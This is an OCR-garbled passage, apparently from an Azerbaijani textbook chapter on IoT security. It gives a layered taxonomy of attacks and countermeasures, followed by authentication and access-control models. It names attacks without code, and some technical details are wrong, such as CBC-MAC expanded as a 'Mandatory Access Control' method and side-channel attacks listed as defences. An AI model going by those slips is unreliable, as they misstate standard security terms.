tohliikosizlik bosluglarini iizo ¢ixardi. 2015-ci ildo iso Ukraynadaki SCADA
(Supervisory Control and Data Acquisition) sistemind edilon kiberhiicum
naticosindo elektrik enerjisinin fasilosi bas verdi ki, bu da sonaye sistemlorinin loT
osasli idaroetmoasindo miimkiin fosadlar1 agiq sokildo gostordi.

[oT sistemlorinds tohliikasizlik problemlorinin asas sobablorindon biri resurs
mohdudiyyotlori ilo baglidir. Asagi hesablama giiclino, mohdud enerji resurslarina
vo az yaddas tutumuna malik [oT cihazlarinda kriptoqrafik alqoritmlorin iglonmasi
¢otin olur vo bu cihazlar miirokkob tohliikesizlik mexanizmlorini effektiv sokildo
dostokloys bilmir. Bundan olave, IoT tohliikesizliyindo standartlagsdirmanin
olmamasi, tigiincii torof avadanliglarin vo program tominatlarinin genis istifadosi,
habelo bu sistemlordoki avadanliglarin daim konar tohliikolors moruz qalmasi
tohliikosizlik zoifliklorini daha da artirir.
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2.2. Hiicumlar va Qarsistmin Alinmast Usullar

Tohliikasizlik, molumatlarin qorunmasi vo icazosiz girislorin, ogurlugun vo
digar risklarin qarsisini almaq tigiin tadbirlorin goériilmesidir. IoT tohliikasizliyi 1s9
bagli qurgularin vo sobakolorin miihafizosini tomin edon bir sahadir. Agilli soharlor,
agilli evlor, sohiyyo, agilli sobokolor vo sonaye totbiglori kimi saholordo IoT
texnologiyalarinin genis istifadasi yeni tohliikasizlik problemlari yaradir.

IoT cihazlarinin boytik bir sobakaya qosulmasi onlarin kiberhiicumlara daha
hossas olmasina sabob olur. informasiya Texnologiyalarmda (IT) hiicum dedikda,
molumatlarin mohv edilmoasi, doyisdirilmasi, ifsas1 vo ya icazosiz aldo olunmasi
nazards tutulur. Kriptografik tohliikesizlik protokollart bu kimi risklori azaltmaq
lclin istifado olunur vo molumat moxfiliyi, mesaj biitovlilyii, autentifikasiya,
movecudluq vo moxfilik kimi xidmatlori ohato edir.

Hiicumlarin bir ¢oxu protokol zaifliklorindon istifade edarak hoyata kecirilir.
[oT hiicumlart ananavi IT hiicumlarindan miqyas baximindan daha genisdir, ¢linki
milyardlarla bagli cihaz eyni anda hadafs ¢evrils bilar va bir ¢cox hallarda bu cihazlar
az va ya heg bir tohliikosizlik miidafiosino malik olmur.
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Moisot vo oaylonco moqgsadli istifado olunan IoT cihazlar1 arasinda an ¢ox
hadofo ¢evrilonlor agilli televizorlar, veb-kameralar vo printerlordir. Todqiqatlar
gostorir ki, Nessus skanerindon istifado edilon yoxlamalar zamani bu cihazlarin
13%-nin yiiksok, orta vo asag1 soviyyealords tohliikosizlik bosluglarina sahib oldugu
askar edilib. On ¢ox rast golinon zsifliklora MiniUPnP, NAT-PMP protokollari, agiq
Telnet baglantilari, SNMP agentlorindoki bosluglar vo FTP protokolunun zoif
tohliikosizlik parametrlori daxildir.

Bu bolmoado mdvcud IoT bosluglari, istismar edilo bilon hiicumlar vo
qarsisinin - alimmasi yollar1 aragdirilir. IoT tohliikesizliyi sahasindoki genis
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todqiqatlara asaslanaraq miixtolif hiicum texnikalar1 vo onlarin halli yollar1 togdim
edilir. Tohliikosizlik risklorini azaltmaq {i¢lin li¢ osas saviyya nozordon kegirilir:
Qavrama (Perception), Sobako (Network) vo Tatbiq (Application) Saviyyalori. Sokil
2.1 10T arxitekturasini, Cadval 2.1 iso har soviyyads movcud hiicum novlorini vo
onlarin hall yollarini imumilsgdirir.

Cadval 2.1. IoT tahliikasizlik hiicumlarinin va hallarinin taksonomiyasi

Saviyya / | Hiicumlar Hollor
Komponent
Qavrama Saviyyasi (Perception Layer)

RFID Qavrama | izlomo (Tracking), Xidmatin | Giriso nazarot (Access
Nogtalori (RFID | dayandirilmasi hiicumu | control), molumat
Perception Nodes) (DoS), inkar etma | sifrolomasi (Data
(Repudiation),  saxtakarlq | encryption),  qeyri-xotti
(Spoofing), dinloms | acar alqoritmlori (Non-

(Eavesdropping), molumatin | linear key algorithms),
yeniliyi  (Data  newness), | [PSec protokolu istifadasi

olgatanliq (Accessibility), | (IPSec protocol
Ozlinli  toskil etmo (Self- | utilization), yan kanal
organization), zaman | hiicumlarina qarst
idaraetmosi (Time | kriptoqrafik  texnikalar
management), tohliikkasiz yer | (Cryptographic
toyin etmo (Secure | techniques against side-
localization), 1izlonobilonlik | channel attacks),
(Traceability), dayamiqliliq | xoslonmis osash  giris
(Robustness), moxfilik | nozaroti  (Hashed-based
gorunmast (Privacy | access control),
protection), davamliliq | sifrlonmis motnin yenidon
(Survivability), saxta mohsul | sifrolonmosi (Ciphertext
yaratma (Counterfeiting) re-encryption)

Sensor Nogtalori | Qovsaq doyisdirilmasi (Node | Qovsaq autentifikasiyasi

(Sensor Nodes) subversion), qovsaq nasazligi | (Node  authentication),
(Node  failure),  qovsaq | Sensor moxfiliyi (Sensor
autentifikasiyasi (Node | Privacy)
authentication), qovsaq

olagosinin  kosilmasi  (Node
outage), passiv  molumat
toplanmas1 (Passive
information gathering),
yalang1 qovsaq mesaj
pozulmas1  (False  node
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message corruption), resurs
tiikonmaosi (Exhaustion),
odalatsizlik (Unfairness),
Sybil hiicumu (Sybil attack),
signal qarisdirma (Jamming),
doyisiklik (Tampering),
togqusmalar (Collisions)

Sensor Sliizlori
(Sensor Gateways)

Sohv konfiqurasiya
(Misconfiguration),
hacklonma (Hacking), signal
itkisi (Signal lost), Xidmatin
dayandirilmasi (DoS),
avtomatik yigma hiicumu
(War  dialing),  protokol
tunellonmasi (Protocol
tunneling), ortada adam
hiicumu (Man-in-the-middle
attack), miidaxilo
(Interruption), kecirma
(Interception), saxta
doyisiklik (Modification
fabrication)

ala

Mesaj tohliikasizliyi
(Message Security),
Cihazin sistemo qosulma
tohliikasizliyi (Device
Onboard Security),
Inteqrasiya tohliikasizliyi
(Integration Security)

Sobaka Saviyyasi (Network Layer)

Mobil 9laga (Mobile

Izlomo (Tracking), dinlomo

Tohliikosiz giriso nozarot

Communication) (Eavesdropping), Xidmotin | (Secure access control),
dayandirilmasi (DoS), | biometrik autentifikasiya
bluesnarfing,  bluejacking, | (Biometrics), agiq agarli
bluebugging, doyisiklik | kriptografiya (Public-key
(Alteration), korrupsiya | cryptography),  sessiya
(Corruption), silinmo | agarinin dovrilosdirilmasi
(Deletion) (Session key rotation)

Bulud  Hesablama | Soxsiyyot idaroetmosi | Soxsiyyot moxfiliyi

(Cloud Computing) (ldentity management), qeyri- | (Identity ~ privacy) -
birdrnoklik (Heterogeneity), | toxalliis (Pseudonym),
molumat giris nozarati (Data | qrup  imzas1  (Group
access  control),  sistem | signature), olago
miirokkabliyi (System | anonimlogdirilmosi
complexity), fiziki | (Connection
tohliikosizlik (Physical | anonymization), Moakan
security), sifroloma | moxfiliyi (Location
(Encryption),  infrastruktur | privacy) - toxolliis
tohliikosizliyi (Infrastructure | (Pseudonym), tok
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security),

konfiqurasiyasi
(Software misconfiguration)

program
sohvlori

istiqgamatli toloayo
osaslanan ¢evirmoa (One-
way trapdoor
permutation), Qovsaq olo
kegirilmasi hiicumu
(Node compromise

attack) - gizli paylasim
(Secret sharing), oyun

NoZariyyasi (Game
theory), ohali dinamikas1
modeli (Population

dynamic model)

Internet  Saviyyasi
(Internet Layer)

sifroloma
viruslar
kibertacaviiz

(Hacking),

Moxfilik  (Confidentiality),

(Encryption),

(Viruses),

(Cyberbullying), hacklonmao

soxsiyyat

ogurlugu (Identity theft),

Soxsiyyat idaraetmaosi
(ldentity — management),
moxfilik  {iglin  acar
idaroetmosi (Key
management for
confidentiality), molumat
tohliikasizliyi ti¢iin  PKI

etibarliliq (Reliability), | asasli bulud texnologiyasi
butovlik (Integrity), raziliq | (Cloud-based PKI
(Consent) security), autentifikasiya
ticlin sifroloma
(Encryption-based
authentication)
Tatbiq Saviyyasi (Application Layer)
Totbiq Mbolumatlar:1 | Molumat moxfiliyi  (Data | Autentifikasiya
(Application Data) privacy), moxfiliklo | (Authentication), acar
manipulyasiya  (Tampering | razilasdirilmasi (Key
privacy),  giriso  nozarat | agreement), istifadogi

information)

(Access control), molumat
sizmast  (Disclosure  of

moxfiliyinin  qorunmasi
(User privacy protection),
heterogen  sobokalordo
end-to-end tohliikasizlik
(End-to-end security in
heterogeneous networks),
Datagram Transport
Layer Security (DTLS),
Molumat axinina nozarat

(Information Flow
Control)
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2.2.1. Qavrama Saviyyasi (Perception Layer)

Qavrama soviyyasino aid cihazlar, asagi giiclii vo itkiyoa moruz gqalan
sabokalordo (Low-power and Lossy Networks, LLNs) yerlosdirilir. Bu cihazlarin
enerji, yaddas vo emal giicii, adi internet platformalarindaki soboko qovsaglar ilo
miiqayisodo mohduddur. Buna goro do, ictimai acgar sifrolomosi (public key
encryption)-na asaslanan autentifikasiya sxemlorinin totbiqi miimkiin olmur, ¢iinki
onlar yliksok hesablama giicii vo boylik yaddas tolob edir.

Buna goro yiingiil (lightweight) kriptoqrafik protokollarin hazirlanmasi
vacibdir. Lakin bu zaman sobokonin genislono bilmo gqabiliyyati (scalability),
kontekst forqindoliyi (context-awareness) vo yerlosdirmo asanligi (ease of
deployment) kimi faktorlar nozors alinmalidir.

Bu gatda ¢oxsayli problemlor vo hiicumlar miisahido olunur. Codval 2.1-do
bu hiicumlar va onlarin hallari verilmisdir. Asagida qavrama qovsaglar (perception
nodes), sensor qovsaqlar1 (sensor nodes) vo sensor sliizlori (sensor gateways) tigiin
osas tohliikolor vo miidafio mexanizmlori toqdim edilir.

1. Qavrama noqtalori (Perception Nodes)

Radio tezlik identifikasiyasi (RFID) qovsaglari vo etiketlori qavrama noqtolori
(perception nodes) kimi istifado edilir. Bu etiketlor Xidmotin dayandirilmasi
hiicumlarina (Denial of Service, DoS) moruz qala bilor. DoS hiicumlar1 radio tezlik
midaxilosi (RF interference) vasitosilo hoyata kegirilo bilor. Bundan olavo, inkar
etmo (repudiation), saxtakarliq (spoofing) vo dinlomo (eavesdropping) kimi
hiicumlar da mévcuddur.

Digor tohliikolor:
o Torsino miithondislik (Reverse engineering)
o Viruslar (Malware) — Masalon, SQL injection hiicumu (2006-c1 il)
o Izloma (Tracking)
o Oldiirmos etiketi (Killing tag) — avvelcodan toyin olunmus moxfi komanda ilo
deaktivasiya.

o Signal bloklama (Jamming) vo elektromaqnit hiicumlar1 — Masolon, Faraday
gofosi istifado edorok bloklama.

o Yan kanal hiicumlar1 (Side-channel attacks) — RFID cihazlarinin fiziki
zoifliklorindon istifads edorok molumat ogurlamagq.

Hall yollar::

o Giriso nozarat (Access control)
o Mbolumat sifralomasi (Data encryption)
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o O O O O O

Qeyri-xotti acgar alqoritmlori (Non-linear key algorithms)

[PSec protokolu (IPSec protocol utilization)

Yan kanal hiicumlarina qars1 kriptoqrafik texnikalar

Xoslonmis asasl giris nazarati (Hashed-based access control)

Sifrlonmis motnin yenidon sifrolonmasi (Ciphertext re-encryption)

SHA-3 asasinda Keccak-f (200 vo 400) funksiyalar ilo yiingiil autentifikasiya
metodlar1

Sensor noqtalari (Sensor Nodes)

Sensor qovsaglart (masalon, ZigBee cihazlar1), RFID-lorlo miigayisads slavo

emal vo garsilight alage imkanlarina malikdir. Bu cihazlar Radio tezlik otiiriiciisii
(RF transceiver), yaddas (memory), enerji moanbayi (power source) vo hiss etma
komponentlori (sensing elements) ilo tochiz olunmusdur.

Lakin bu qovsaqlarin osas tohliikasizlik problemi autentifikasiya

mexanizmlorinin zoif olmasi vo aciq signal Otiiriilmosidir. Bunun naticasinda
asagidaki hiicumlar bag vers bilor:

o O O O O

O

Signal saxtalagdirilmasi (Signal spoofing)

Moslumat manipulyasiyasi (Tampering)

Signal qarigdirma (Jamming)

Zorarli kod inyeksiyas1 (Malicious code injection)

Sybil hiicumu (Sybil attack) — bir cihazin birdon ¢ox saxta soxsiyyot kimi
davranmasi.

Signal gecikdirmo (Delay attack)

Sensorlar arasinda signal itkilori (Data loss attack)

Hoall yollar1:

Sensor autentifikasiyasi (Sensor authentication)
Sensor maxfiliyl qoruma metodlar1 (Sensor privacy techniques)

. Sensor sliizlori (Sensor Gateways)

Sensor sliizlori asason sensor qovsaqglarindan golon malumatlar1 yoxlamaq vo

otiirmok ti¢iin istifado olunur. Bu sliizlor istilik, riitubot, tozyiq, siirot vo digor
molumatlar1 toplayaraq paylanmis sensor qovsaqlar1 arasinda oalagoni tomin edir.

o

o O O O

Bu kanallar asagidaki hiicumlara hossasdir:

Sohv konfiqurasiya (Misconfiguration)
Hacklonmo (Hacking)

Signal itkisi (Signal loss)

Xidmaotin dayandirilmasi (DoS)
Avtomatik yigma hiicumu (War dialing)
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Protokol tunellonmasi (Protocol tunneling)
Ortada adam hiicumu (Man-in-the-middle attack)
Miidaxils (Interruption)

Olo kecirma (Interception)

Saxta doyisiklik (Modification fabrication)

o O O O O

Hall yollar::

Mesaj tohliikasizliyi (Message Security)

Cihazin sistema qosulma tohliikasizliyi (Device Onboard Security)
Inteqrasiya tohliikasizliyi (Integration Security)

Yan kanal hiicumlarina qars1 miidafis metodlari:

o O O O

v Diferensial giic analizi (Differential Power Analysis, DPA)
v Sado giic analizi (Simple Power Analysis, SPA)

v Vaxtlama hiicumlar1 (Timing attacks)

v Akustik kriptoanaliz (Acoustic cryptanalysis)

2.2.2. Saboka saviyyasi (Network Layer)

Soboko soviyyesi miixtalif totbiglorin funksionalligini tomin etmok iigiin
qavrama saviyyasindoki cthazlar1 bir-birine baglayir. Bu soviyya digor saviyysler
liclin bir baglayict rolunu oynadigindan, burada meydana golo bilocok zaifliklor
biitiin IoT arxitekturasinin isino ciddi tosir edos bilor.

1. Mobil slago (Mobile Communication)

Mobil cihazlar IoT texnologiyasinin osas insan-miihit interfeysidir vo
smartfonlardan PDA-lara vo mini-PC-loro qadar genis bir spektri ohato edir. Miiasir
mobil cihazlar mokan xidmaotlori, biometrik sensorlar, akselerometrlor vo digor
sensor texnologiyalari ilo tochiz olunmugsdur. Mobil rabitonin olago se¢imlori RF,
asag siiratli simsiz fordi sobokolor (LR-WPAN/IEEE 802.15.4), yaxin saha rabitosi
(NFC), simsiz Fidelity (Wi-Fi) vo Bluetooth kimi texnologiyalar itizorindon hoyata
kecirilir. Lakin, bu saholor DoS hiicumlarina, dinlomoyos (eavesdropping),
bluesnarfing, bluejacking, bluebugging, doyisiklikloro vo molumat ogurluguna
hassasdir. Bundan olava, cloning (eyni molumatlarin kopyalanmasi) vo spoofing
(aldadici identifikasiyalar) kimi hiicumlar da genis yayilmisdir.

LR-WPAN, Bluetooth vo Wi-Fi kimi texnologiyalar tranzit hiicumlarina gars1
hassasdir. Bununla belo, yeni mobil cihazlarin tohliikosizlik standartlar1 biometrik
autentifikasiya, a¢1q agarli kriptografiya vo sessiya agarlarinin dovrilogdirilmasi kimi
inkisaf etdirilmis tisullarla bu risklori azaltmaga komok edir.

24



2. Bulud hesablama (Cloud Computing)

Bulud hesablama, IoT {i¢iin morkozlosdirilmis emal vo genislondirilmis
yaddas imkanlar1 togdim edon bir platformadir. Bulud xidmatlori [oT tatbiqlori liglin
daha yiiksok hesablama giicii vo genis yaddas tomin eds bilor, lakin eyni zamanda
identifikasiya va giris nazarati ilo bagl yeni tohliikasizlik problemlari meydana ¢ixir.

Ononavi bulud osasli  serverlordon istifado IoT sistemlorindo ciddi
tohliikasizlik zoifliklorino sobob ola bilor. IoT sistemlorinds bulud osasli hollordon
istifado edorkon molumatlarin qorunmasi ti¢iin bir ne¢o texnika movcuddur:

o Soxsiyyat maxfiliyi (Identity Privacy): Toxoslliis (Pseudonym), qrup imzast
(Group signature), slago anonimlagdirilmasi (Connection anonymization).

o Makan moxfiliyi (Location Privacy): Toxolliis (Pseudonym), tok istigamatli
toloyo asaslanan ¢evirmo (One-way trapdoor permutation).

o Qovsaq 919 kecirilmasi hiicumu (Node Compromise Attack): Gizli
paylasim (Secret sharing), oyun nozoriyyosi (Game theory), ohali dinamikas1
modeli (Population dynamic model).

o Soboka soviyyasindd qatin dlavo edilmoasi/silinmasi hiicumu (Layer
Removing/Adding Attack): Paket otlirmo sahidi (Packet transmitting
witness), birlogdirilmis 6tiirmo siibutlar (Aggregated transmission evidence).

o Irali va geri tahliikasizlik (Forward and Backward Security): Kriptoqrafik
tok yonlii hash zonciri (One-way hash chain).

o Zararli bulud tohliikasizliyi (Semi-trusted/Malicious Cloud Security):
Tam homomorfik sifrolomo (Fully homomorphic encryption), bilik siibutu
(Zero-knowledge proof).

3. Internet soviyyosi (Internet Layer)

Internet anlayis1 genis miqyasl qlobal soboks infrastrukturunu ifade edir vo
0zal, ictimai, akademik, dovlot vo korporativ sobokalori ohato edir. IoT sistemlorindo
159 interneto qosulma Transmission Control Protocol/Internet Protocol (TCP/IP) ila
tomin olunur vo tohliikesizlik Secure Socket Layer (SSL), Transport Layer Security
(TLS), IPSec vo SSH kimi protokollar vasitasilo hayata kegirilir. IoT sistemlorindo,
xtisusilo Datagram Transport Layer Security (DTLS) rabito protokolu kimi istifado
olunur.

Internet hor kos {iciin agiq oldugundan, movcud tohliikesizlik
mexanizmlorinin effektivliyi bir ¢ox zoifliklor sobobindon azalmigdir. Potensial
tohliikolor arasinda viruslar, qurdlar, haker hiicumlari, kibertocaviiz (cyberbullying),
soxsiyyat ogurlugu, moxfilik pozuntular1 vo DDoS hiicumlar yer alir.

Bu hiicumlarin garsisini almaq tigiin miixtalif hollor mévcuddur:

o Moxfilik {cilin identifikasiya idaroetmasi (Identity Management for
Confidentiality).
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o Mbolumat tohliikasizliyi ii¢iin sifroloma sxemlori (Encryption Schemes for
Communication Security).

o Bulud osasli tohlikkosiz rabito kanallarimin yaradilmasi: tigiin acar
infrastrukturuna osaslanan hallor (Cloud-based PKI Security for Secure
Communication).

2.2.3. Totbiq saviyyasi (Application Layer)

Sokil 1.3-do gostarildiyi kimi, IoT-nin miimkiin totbiglori miasir dovrde
movcud olan hor bir sonayeyo yayillmisdir. Bundan olavo, avtomatlagdirma
mogsadlori {liclin  hazirlanmis coxsayli qeyri-sonaye totbiglori do modvcuddur.
Umumiyyatlo, ToT totbiq saviyyesino qarsi hoyata kegirilo bilon hiicumlar iki
formada tosnif edils bilor: proqram tominati asash va sifroloma asasli hiicumlar.

Program tominati osashi hiicumlarda, hiicumlarin ¢oxu zororli proqram
agentloring asaslanir. Bunlara istifadocinin autentifikasiya malumatlarini ogurlamaq
ticlin etibarli qurum kimi togdim edilon fising hiicumlar daxildir. [oT sistemlorinin
miixtalifliyi vo onlarin genis xidmat spektri sababindon zararli proqramlar, kompiiter
qurdlari, reklam proqramlari, cosus proqramlar vo Troyan viruslar1 yiliksok ehtimal
olunan tohliikalor arasinda yer alir.

Sifrolomo osashi hiicumlar iso kriptoqrafik protokollarin prosedur tobistindon
vo onlarin riyazi modellorindon istifado edorok genis tohlillor yolu ilo hoyata
kecirilir. Kriptoanalitik hiicumlar, yalniz sifro moatnins asaslanan hiicumlar, malum
aciq motn hlicumlar1 vo se¢ilmis aciq motn hiicumlar: bu kimi tohliikelori niimuno
gostorir.

IoT totbiglorinin tohliikasizliyini tomin etmok ii¢iin bir sira hollor odobiyyatda
iroli siliriilmiigdiir. Bunlara autentifikasiya, agar razilasdirilmasi vo heterogen
sobokolordo istifado¢i moxfiliyinin qorunmast daxildir. IoT-do end-to-end
tohliikosizliyi tomin etmok iiclin Datagram Transport Layer Security (DTLS) vo
molumat axinina nozarot texnologiyalar1 toklif edilir. Program tominati osasl
autentifikasiya hiicumlarini, xiisusilo fising hiicumlari azaltmaq {¢iin todbirlor
goriilmoalidir. Bu todbirlor, zororli hiicum edonlorin soxsiyyeatinin yoxlanilmasini
ohats edir.

2.3. Dogrulama va Avtorizasiya

Dogrulama vo girigo nazarat mexanizmlori [oT {i¢lin mithiim shomiyyat kosb
edir. ©Ogor diizgiin giris nozarati mexanizmi olmazsa, IoT arxitekturasinin biitiin
tohliikosizlik sistemi pozula bilor, ¢iinki IoT cihazlart qosulduglan digor
komponentlorin  etibarliligina  giivonir. Buna goro do, modvcud IoT
infrastrukturundaki zoifliklori azaltmaq {i¢iin effektiv giris nozarot mexanizminin
olmasi vacibdir.
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Girts nozarot mexanizmlort 1ki morholodon 1barotdir: Dogrulama
(Authentication) vo Avtorizasiya (Authorization).

2.3.1. Dogrulama

Dogrulama, bir varligin soxsiyyatinin tosdiq edilmosi prosesidir.
Tosdiglonacok obyekt insan vo ya masin ola bilor. Dogrulama, istifado¢inin sistema
daxil olmasini tomin etmok ii¢iin giris nozaratinin ilk morhslasidir. Cox vaxt bu
proses insan vo masin arasinda bas verir, masolon, bir soxsin internet bankgiliq
portalina daxil olmasi iigiin istifadog¢i adin1 vo parolunu daxil etmasi. Lakin bu sado
giris Gisulu homiso istifadocinin hoqiqi soxsiyyatini tosdiqlomadiyi liglin ¢oxfaktorlu
dogrulama (multi-factor authentication) totbiq edilmaolidir.

Dogrulama prosesi etibarli sertifikat qurumlar1 (CA — Certificate Authority)
torofindon idars edils bilor. Bu qurumlar internetdo veb-saytlarin va istifadagilorin
sertifikatlarin1 togdim edon qlobal toskilatlardir. Sertifikatlar SSL/TLS, IPSec vo
HTTPS kimi miiasir dogrulama protokollari tigiin vacibdir.

Dogrulama mexanizmlari asasan {i¢ faktora asaslanir:

o Bilik faktoru (Knowledge factor): Parollar, PIN-kodlar, tohliikasizlik
suallart.

o Sahiblik faktoru (Possession factor): ATM kartlari, identifikasiya kartlari,
tosadiifi nomro generatorlar: (RNG).

o Biometrik faktor (Inherence factor): Barmagq izi, g6z baboyi, iiz tanima.

Son illordo biometrik sensorlarin inkisafi smart cihazlarda ¢oxmodlu
dogrulama (multi-mode authentication) sistemlorini genis yaymisdir. Masindan-
insana (H2M — Human-to-Machine) dogrulama protokollar1 istifadogi ilo cihaz
arasinda olaqgoni tomin edir, lakin masindan-masina (M2M — Machine-to-Machine)
dogrulama tigiin iso daha giiclii kriptografik tisullar, PKI (Public Key Infrastructure)
vo hash texnologiyalar totbiq edilir.

2.3.2. Avtorizasiya

Avtorizasiya, dogrulanan varliga miioyyon hiiquqlarin va icazslorin verilmosi
prosesidir. Yoni, bu, bir obyektin hansi1 foaliyyatlori icra edo bilocoyini miioyyon
edir. Avtorizasiya ¢ox vaxt dogrulama ilo birlikdo totbiq olunur, ¢ilinki istifadoginin
icazolori ancaq soxsiyyaeti tosdiglondikdon sonra toyin edils bilor.

Avtorizasiya mexanizmlori osason Girisa Nozarat Modellari (Access
Control Models) osasinda qurulur. Bunlara daxildir:

o Mbohdudiyyatli Giriso Nazarat (DAC — Discretionary Access Control):
Istifadagilor miioyyen resurslara giris icazalorini toyin eda bilor.

o Moacburi Giriso Nozarat (MAC — Mandatory Access Control): Sistem
administratoru giris icazalarini ciddi qaydalarla tonzimloyir.

27



o Rola asaslanan Giriso Nozarat (RBAC — Role Based Access Control):
Istifadacilora toyin olunmus rollar osasinda icazolor verilir (mosalon, bir
universitetdos kurs koordinatoru, miisllim vo ya tolobs flclin miixtalif
hiiquglarin tayin olunmasi).

Bu model sayasinds istifadacilora sistemds hansi faaliyyatlori yerina yetira
bilocoyi ilo bagli mohdudiyyotlor qoyulur. Avtorizasiya homg¢inin molumat
tohliikasizliyinin artirilmasi li¢lin giris saviyyslarinin miiayyan edilmasindo mithiim
rol oynayir.

2.3.3. IoT soviyyalorinda dogrulama

[oT miihitindo istifadogi soxsiyyetinin qorunmasi vo tohliikesizlik
tohdidlorinin qarsisinin alinmasi dogrulama prosesinin asas magsadidir. Har bir yeni
[oT totbiqi ilo daha ¢ox avadanliq sobokoyo daxil olur vo bu komponentlorin
olagalondirilmesi iiclin dogrulama mexanizmlarindon istifade edilir. Bu prosesda
kriptografik tisullar asas rol oynayir, ¢iinki giris etimadnamaolorinin etibarliligini
tomin etmok lazimdir. Dogrulama sisteminin giicii totbiq olunan sifrolomo
metodlarindan asilidir. Lakin vahid hall yolu mévcud deyil, ¢iinki miixtalif loT
cihazlar1 forgli hesablama giiciine, enerji istehlakina vo yaddas toloblorine malikdir.
Buna goro do, asagida miixtolif IoT soviyyalori iiglin dogrulama toloblorini
arasdiracagiq.

1. Qavrama saviyyasi (Perception Layer)

Qavrama soviyyosi osason mixtolif IoT miihitlorindon molumat c¢ixaran
cihazlar1 vo masinlar1 ohato edir. Oksor hallarda, dogrulama prosesi M2M (Machine-
to-Machine) baglantilar1 vasitosilo aparilir. Bu soviyyado dogrulama hom cihazlar
arasinda qarsiligli dogrulama (peer authentication), hom do orijinal monbao
dogrulamas1 (source authentication) soklindo hoyata kecirilo bilor. Qarsiligh
dogrulama IoT cihazlar1 arasinda ilkin molumat miibadilosi zamani1 bas verir vo
baglantinin etibarliligini yoxlamaga xidmot edir. Bu tlisul M2M {insiyyatdo
tohllikosizliyi artirir. Lakin, qeyd edildiyi kimi, Qavrama soviyyosindo giiclii
kriptoqrafik tisullarin totbiqi tigiin kifayot qodor resurs yoxdur.

o Qavrama noqtalori (Perception Nodes)

Bu cihazlar IoT sobokasindo genis yayilmisdir vo asason RFID etiketlori vo
RFID oxuyucularindan ibaratdir. RFID etiketlori oxuyucuya moalumat géndorss do,
qarsiligh autentifikasiya mexanizmino malik deyillor vo bu onlar1 potensial
hiicumlara qars1 zoif edir. Bu problemi holl etmok {i¢lin RFID etiketlori arasinda
tohliikosiz malumat 6tiiriilmosi tigiin Kimlik asash sifrolomo (IBE — Identity Based
Encryption) toklif olunmusdur. Resurs mohdudiyyatlorini nozors alaraq, Elliptik
9yri Kriptoqrafiyas1 (ECC) asash Diffie-Hellman (DH) acar miibadilasi kimi
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metodlardan istifado edilo bilor. Bu metodda cihazlar arasinda otiiriilon acarlar
simmetrik sifrolomo {iclin istifado olunur vo bu iisul IoT cihazlarinin hesablama
yukiinii azaltmaga komok edir.

o Sensor noqtalari va sliizlor (Sensor Nodes and Gateways)

Sensor noqtalori do oxsar tohliikasizlik zaifliklorina malikdir vo geyri-kafi
autentifikasiya onlar1 asanligla hadofs ¢evirir. Sensor sliizlori iso daha agilli vo daha
miirokkab olduguna gora slava tohliikasizlik mexanizmlarindon istifade eds biler.
M2M autentifikasiyas1 burada hom qarsiligli, hom do ilkin dogrulama soklinda
hoyata kecirilo bilor. Sensor sliizlorinin autentifikasiya iigiin HMAC (Hashed
Message Authentication Code) vo CBC-MAC (Cipher Block Chaining
Mandatory Access Control) metodlarindan istifado etmasi maslohatdir. Bundan
olave, vaxt mohiirlori (timestamps) do autentifikasiya protokollarinda totbiq
olunmalidir.

2. Sabaka saviyyasi (Network Layer)

[oT soboka soviyyasi mévcud TCP/IP internet protokollar: tizerinds qurulur.
Burada, soboko soviyyosindo autentifikasiya tolob olunan komponentlorin
ohomiyyatindon bohs edilir.

o Mobil slago (Mobile Communication)

Soboko soviyyasindo mobil olagonin tohliikosizliyi, IoT totbiglori ortaya
cixana qodor kritik hesab edilmirdi, ¢linki mobil cihazlar asason daxili tohliikosizlik
protokollarina oasaslanirdi. Mobil olago texnologiyalarina Qlobal Mobil Rabito
Sistemi (GSM), Geniszolagli Kod Bdlmo Multipleksiyas1 (WCDMA), Yiiksok
Siirotli Paket Girisi (HSPA) vo Uzunmiiddotli Tokamiil (LTE) daxildir. IoT
daxilinds daxili autentifikasiya sxemlori kifayot godor etibarli hesab olunmur, ¢iinki
cihazlarda prosessor, yaddag vo omoliyyat sistemi mohdudiyyotlori var.

Moveud  tohliikesizlik  standartlart  mobil  cihazlarda  tohliikosiz
autentifikasiyani tomin etmok tigiin yetorli deyil. Masolon, Rivest Shamir Adleman
(RSA), ElGamal vo Pallier kimi asimmetrik agar sifrolomo metodlar yiiksok
hesablama giicii talob etdiyindon mobil cihazlarda istifadasi ¢otindir.

Yao vo digorlorinin todqiqatlarina goro, No-Parking Attribute-Based
Encryption (ABE) adli yeni autentifikasiya protokolu togdim olunmusdur. Bu metod
Elliptik ©yri Kriptoqrafiyas1 (ECC) osasli olaraq mobil cihazlarda istifads {i¢iin
nozords tutulub. Bu yanasma, atributlar arasindaki olagonin xotti xarakter dasimasini
tomin edorok hesablama yiikiinii azaldir.

Hazirda mobil cihazlar barmaq izi, {iz tanima vo iris skaneri kimi miixtolif
biometrik sensorlarla tochiz olunur. Biometrik molumatlar Insan-Masm (H2M) vo
Masin-Masin (M2M) autentifikasiyasi tigiin istifado oluna bilor. IoT sobokalorindo
autentifikasiya vo acar menecmenti biometrik parametrlors asaslana bilor.
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o Bulud hesablama (Cloud Computing)

Bulud hesablama, IoT sistemlorinin malumat saxlama va emal ehtiyaclarini
qarsilayan osas komponentlordon biridir. Bu sistemlor iiclin giiclii autentifikasiya
mexanizmlari vacibdir. RSA vo ElGamal kimi aciq acarli kriptografiya metodlari
yiiksok hesablama giicii tolob etdiyindon, simmetrik sifrolomo metodlari, masalon,
Qabaqcil Sifroloms Standart: (AES) vo Uglii Data Sifrolomo Standart: (3DES) daha
mogbul hesab edilir.

Lakin bulud hesablamada asas problem istifado¢i molumatlarinin maxfiliyinin
gorunmasidir. Bulud xidmot tominatcilarinin (CSP) bu molumatlardan sui-istifads
etmomasini tomin etmok T{i¢iin blok¢eyn vo homomorfik sifroloma kimi yeni
texnologiyalar inteqrasiya olunmalidir. Blok¢eyn texnologiyasi autentifikasiyani
daha tohliikkesiz eds bilor, ¢linki istifadoe¢i identifikasiyasi liciin yalniz hash
doyorlorindon istifads olunur va agiq acarlara ehtiyac olmur.

Bulud miihitinds melumatlara girisin mahdudlasdirilmas1 vacibdir. Mévcud
RBAC vo MAC oasash giris nozaroati modellori artiq kifayot gqodor effektiv deyil. Bu
sobabdon Solahiyyoto osaslanan giris nozarsti (CapBAC) adli yeni metod toklif
olunmusdur ki, bu da qurumlara verilon icazslorin daha ¢evik va tohliikasiz sokildo
idara olunmasina imkan yaradir.

o Internet (The Internet)

[oT sistemlorindo autentifikasiya asason SSL/TLS vo IPSec protokollar
